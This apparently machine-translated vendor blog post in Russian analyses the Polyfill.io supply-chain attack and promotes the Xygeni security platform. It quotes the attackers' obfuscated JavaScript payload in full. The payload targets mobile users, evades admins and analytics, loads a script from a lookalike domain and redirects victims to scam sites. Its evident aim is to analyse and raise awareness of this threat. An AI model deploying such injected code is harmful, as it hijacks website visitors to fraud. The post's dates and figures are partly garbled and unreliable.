polyfill-атака-polyfill-атака-цепочки-поставок-атаки-программного-снабжения-цепочки-поставок

Разоблачение атаки полифилла: глубокое погружение

В феврале 2024 Атака на цепочку поставок Polyfill.io—яркий пример атаки на цепочку поставок программного обеспечения— скомпрометировал более 100,000 XNUMX веб-сайтов по всему миру. В этом инциденте участвовали перехват пакетов, где FUNNULL, вредоносная сущность, получила контроль над доменом Polyfill и репозиторием GitHub, внедрив вредоносное ПО в сервис. Вредоносное ПО было специально нацелено на мобильных пользователей, перенаправляя их на мошеннические сайты азартных игр, используя уязвимости в динамической доставке кода Polyfill на основе заголовков HTTP и пользовательских агентов.

Технический анализ: как работала атака с использованием полифилла

Polyfill широко используется для обеспечения совместимости между современными веб-функциями и старыми браузерами. Злоумышленники использовали перехват пакетов купив cdn.polyfill.io домен и внедрение вредоносных скриптов. То, что сделало эту атаку столь опасной, было сложным поведением вредоносного ПО:

  • Динамическая генерация кода: Служба Polyfill генерировала настраиваемые ответы JavaScript на основе устройства, получающего доступ к веб-сайту (например, мобильный или настольный компьютер), заголовков HTTP и пользовательских агентов. Злоумышленники использовали эту динамическую природу, внедряя вредоносные полезные нагрузки, адаптированные для определенных устройств, в частности, мобильных телефонов.
  • Техники уклонения: Вредоносное ПО было умным. Оно задерживало выполнение при обнаружении аналитических служб, таких как Google Analytics, не давая своим действиям отображаться в статистике сайта. Кроме того, оно не активировалось при обнаружении администраторов или разработчиков, что еще больше исключало раннее обнаружение во время отладки или тестирования.
  • Мобильное перенаправление: После активации вредоносная программа перенаправляла пользователей на мошеннические сайты с азартными играми, выдавая себя за законные домены (например, googie-anaiytics.com). Злоумышленники даже манипулировали временными окнами, чтобы уменьшить подозрения, запуская вредоносную нагрузку только в определенные часы, чтобы застать ничего не подозревающих мобильных пользователей врасплох.

Крупнейшие сайты, пострадавшие от атаки Polyfill

Атака на цепочку поставок полифилла Затронуло более 100,000 XNUMX веб-сайтов, включая такие крупные организации, как:

  • Всемирный экономический форум
  • Постигать интуитивно
  • JSTOR
  • Банк Ирландии
  • Coldwell Banker
  • Live Nation
  • Brandeis University
  • Компания Dubai Airports
  • Фонд защиты окружающей среды

Эти известные жертвы подчеркивают глобальный масштаб атаки и уязвимость крупные учреждения к нарушениям цепочки поставок

Ранние предупреждения и реагирование

Эндрю Беттс, первоначальный создатель Polyfill, предупредил разработчиков за несколько месяцев до атаки прекратить использование сервиса Polyfill после того, как он потерял контроль над доменом. Его предупреждение осталось в значительной степени без внимания, пока не была запущена атака FUNNULL. После обнаружения, сети доставки контента, такие как Cloudflare и Fastly предоставил безопасные альтернативы, в то время как Беттс повторил свой совет разработчикам полностью удалить ссылки на Polyfill.

Пример вредоносной нагрузки Polyfill

Чтобы проиллюстрировать сложность атаки на цепочку поставок Polyfill, Сансек предоставил подробный пример используемой вредоносной нагрузки. Эта нагрузка динамически адаптировалась в зависимости от устройства пользователя, вызывая перенаправления на мошеннические веб-сайты и применяя методы для уклонения от обнаружения. Для более подробного изучения технической разбивки этой нагрузки вы можете проверить Сансека полный анализ и пример вредоносного кода.

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Почему произошла атака на цепочку поставок Polyfill?

Атака на цепочку поставок Polyfill подчеркивает критическую важность Уязвимости в зависимости от третьих сторон управление. Современная экосистема JavaScript в значительной степени опирается на библиотеки с открытым исходным кодом, и разработчики часто используют такие инструменты, как npm, для автоматической интеграции этих библиотек. Без строгого аудита или постоянного мониторинга скомпрометированные пакеты могут проскользнуть незамеченными, как это было с Polyfill.

Более того, быстрый темп разработки и развертывания в современных программных средах часто ставит функциональность и скорость выше тщательной проверки безопасности. Злоумышленники используют этот пробел, нацеливаясь на популярные библиотеки, чтобы максимизировать свое влияние. В случае Polyfill, как только злоумышленники получили контроль над доменом, они использовали широкое использование библиотеки для внедрения вредоносного кода на огромное количество веб-сайтов.

Этот инцидент подчеркивает важность внедрения строгих мер безопасности, таких как инструменты аудита зависимостей, мониторинг в реальном времени и надежные планы реагирования на инциденты, для защиты от подобных атак на цепочку поставок программного обеспечения. Организации должны уделять первостепенное внимание безопасности в своих рабочих процессах разработки, чтобы эффективно защищать свои цифровые экосистемы.

Предотвращение будущих атак: надежное управление зависимостями

При управлении зависимостями, Ксигени Open Source Security Платформа использует несколько уровней защиты, предназначенных для обнаружения, помещения в карантин и устранения вредоносных компонентов в режиме реального времени, а также для предотвращения атак на цепочку поставок программного обеспечения.

Обнаружение вредоносных программ в реальном времени: Xygeni постоянно отслеживает публичные реестры, сканируя подозрительный код до того, как он попадет в среду разработки. Это позволяет заблаговременно блокировать угрозы, такие как атака Polyfill, как указано в Луис Родригес серия статей. 

Автоматические оповещения и карантин: Xygeni автоматически изолирует скомпрометированные пакеты и генерирует оповещения, позволяя группам разработчиков действовать быстро. Благодаря интеграции с CI/CD pipelines, любая угроза может быть остановлена ​​до того, как она достигнет производства. В случаях, подобных инциденту Polyfill, эта функция предотвращает широкомасштабное воздействие, останавливая вредоносный код на ранней стадии.

Динамическая расстановка приоритетов и SBOM: Xygeni динамически расставляет приоритеты уязвимостей на основе контекста, эксплуатируемости и влияния на бизнес. Создавая Спецификация материалов программного обеспечения в реальном времени (SBOM), организации могут отслеживать все сторонние компоненты, обеспечивая полную прозрачность. Этот мониторинг в реальном времени имеет решающее значение при управлении зависимостями с открытым исходным кодом, позволяя быстро реагировать на инциденты, такие как захват Polyfill.

В серии статей Луис Родригес, акцент на превентивная защита против вредоносных пакетов с открытым исходным кодом обсуждается подробно. Подход Xygeni не только охватывает обнаружение в реальном времени, но и предоставляет автоматизированные пути исправления, позволяя организациям откатываться к безопасным версиям без прерывания производства

проверить Вредоносные пакеты с открытым исходным кодом Прочитайте серию статей, чтобы узнать больше о том, как Xygeni управляет безопасностью программного обеспечения с открытым исходным кодом.

Уроки атаки Polyfill

Атака на цепочку поставок Polyfill.io преподает важные уроки о рисках сторонних зависимостей в современной веб-разработке.

  • Бдительность в отношении зависимостей от третьих лиц: Это самый важный вывод. Организации должны регулярно проверять, проверять и контролировать все сторонние библиотеки, которые они используют. Чрезмерная зависимость от непроверенных зависимостей может подвергнуть системы серьезным рискам.
  • Проактивные меры безопасности: Непрерывный мониторинг, например, с помощью Обнаружение угроз в реальном времени с помощью Xygeni, может обнаружить уязвимости на ранней стадии.
  • Образование и обучение: Информирование всех членов команды о последних угрозах укрепляет безопасность организации.

Атака на цепочку поставок Polyfill служит мощным напоминанием о растущей угрозе, которую представляет атаки на цепочку поставок программного обеспечения. Эти атаки используют уязвимости в широко используемых сторонних компонентах, оставляя организации всех размеров уязвимыми. Принимая проактивные меры безопасности, такие как мониторинг в режиме реального времени, автоматическое обнаружение угроз и надежное управление зависимостями—подобно тем, которые предлагает Xygeni — компании могут защитить себя от подобных угроз в будущем. Сохранение бдительности и поддержание всестороннего надзора за сторонними библиотеками являются ключом к предотвращению масштабных компрометаций, таких как Polyfill.

Защитите свои зависимости с открытым исходным кодом от атак на цепочку поставок программного обеспечения

Не позволяйте вашему приложению стать жертвой атаки на цепочку поставок программного обеспечения как Polyfill. Xygeni's Open Source Security Платформа предлагает мониторинг в реальном времени, расширенное отображение зависимостей и автоматизированное исправление для защиты вашей разработки pipelines из скомпрометированных пакетов.

Возьмите под контроль свою цепочку поставок программного обеспечения уже сегодня. Сохранить демо и узнайте, как Xygeni может защитить вашу организацию от будущих угроз.

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
7-дневная бесплатная пробная версия
Кредитная карта не требуется.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni